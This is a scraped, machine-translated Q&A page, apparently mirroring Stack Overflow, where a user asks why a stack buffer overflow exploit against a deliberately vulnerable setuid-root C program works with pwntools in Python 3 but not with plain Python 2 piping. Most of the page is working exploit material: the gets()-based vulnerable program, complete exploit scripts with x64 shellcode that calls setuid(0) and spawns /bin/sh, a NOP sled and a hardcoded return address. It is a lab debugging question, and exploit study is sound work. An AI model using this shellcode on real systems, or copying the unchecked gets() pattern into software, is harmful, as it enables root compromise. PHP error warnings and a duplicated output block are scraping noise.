Warning: file_get_contents(/data/phpspider/zhask/data//catemap/8/python-3.x/17.json): failed to open stream: No such file or directory in /data/phpspider/zhask/libs/function.php on line 167

Warning: Invalid argument supplied for foreach() in /data/phpspider/zhask/libs/tag.function.php on line 1116

Notice: Undefined index: in /data/phpspider/zhask/libs/function.php on line 180

Warning: array_chunk() expects parameter 1 to be array, null given in /data/phpspider/zhask/libs/function.php on line 181
Python 仅使用pwntools才能利用缓冲区溢出漏洞_Python_Vmware_Cat_Buffer Overflow_Kali Linux - Fatal编程技术网

Python 仅使用pwntools才能利用缓冲区溢出漏洞

Python 仅使用pwntools才能利用缓冲区溢出漏洞,python,vmware,cat,buffer-overflow,kali-linux,Python,Vmware,Cat,Buffer Overflow,Kali Linux,我试图在没有任何保护(即ASLR、canary、PIE、NX、Parial RelRO、Fortify)的简单x64 C二进制文件上创建缓冲区溢出。我正在使用(更新的)x64 Kali Linux 2020.4发行版(在vmware中使用官方攻击性安全网站上的vmware映像)。我正在以root身份编译程序,并且我正在启用SUID位,以便从一个非特权帐户访问具有root权限的程序。易受攻击程序的代码(example.c)如下所示: #include<stdio.h> #include

我试图在没有任何保护(即ASLR、canary、PIE、NX、Parial RelRO、Fortify)的简单x64 C二进制文件上创建缓冲区溢出。我正在使用(更新的)x64 Kali Linux 2020.4发行版(在vmware中使用官方攻击性安全网站上的vmware映像)。我正在以root身份编译程序,并且我正在启用SUID位,以便从一个非特权帐户访问具有root权限的程序。易受攻击程序的代码(
example.c
)如下所示:

#include<stdio.h>
#include<string.h>

void vuln_func();

int main(int argc, char *argv[])
{
    printf("Hi there!\n");
    vuln_func();
}

void vuln_func()
{
    char buffer[256];
    gets(buffer);
}
使用python3的pwntools创建一个利用漏洞的工具工作得很好,我得到了一个根shell

from pwn import *

nopsled = b"\x90"*100
shellcode = b"\x31\xdb\x89\xd8\xb0\x17\xcd\x80\x48\x31\xc0\x48\x89\xc2\x48\x89\xd6\x50\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x53\x48\x89\xe7\x48\x83\xc0\x3b\x0f\x05"

padding = b"A"*(256-len(shellcode)-len(nopsled))
padding += b"B"*8
padding += p64(0x7fffffffdec4)

payload = nopsled + shellcode + padding

p = process("./example")
p.recv()
p.sendline(payload)
p.interactive()
但是,当我在python2上使用完全相同的有效负载而不使用pwntools时,它不会

import struct

nopsled = "\x90"*100
shellcode = "\x31\xdb\x89\xd8\xb0\x17\xcd\x80\x48\x31\xc0\x48\x89\xc2\x48\x89\xd6\x50\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x53\x48\x89\xe7\x48\x83\xc0\x3b\x0f\x05"

padding = "A"*(256-len(shellcode)-len(nopsled))
padding += "B"*8
padding += struct.pack("Q", 0x7fffffffdec4)

payload = nopsled + shellcode + padding

print payload
然后使用以下命令运行它:

$(python exploit.py; cat) | ./example
cat
命令“捕获”stdin,但当我提供命令时,什么也不会发生

┌──(kali㉿kali)-[~/Desktop/boe/example]
└─$ $(python exploit.py ; cat) | ./example
Hi there!

whoami
id

^C
                                                                                                             
┌──(kali㉿kali)-[~/Desktop/boe/example]
└─$   
真正奇怪的是,在外壳代码之前添加“\xCC”字节时

shellcode = "\xcc\x31\xdb\x89\xd8\xb0\x17\xcd\x80\x48\x31\xc0\x48\x89\xc2\x48\x89\xd6\x50\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x53\x48\x89\xe7\x48\x83\xc0\x3b\x0f\x05"
我收到这样一个信号:

┌──(kali㉿kali)-[~/Desktop/boe/example]
└─$ python exploit.py | ./example  
Hi there!
zsh: done        python exploit.py | 
zsh: trace trap  ./example

你知道为什么会这样吗?

Python 2也支持
b'blah blah'
字节文本。Python 2也支持
b'blah blah'
字节文本。
┌──(kali㉿kali)-[~/Desktop/boe/example]
└─$ python exploit.py | ./example  
Hi there!
zsh: done        python exploit.py | 
zsh: trace trap  ./example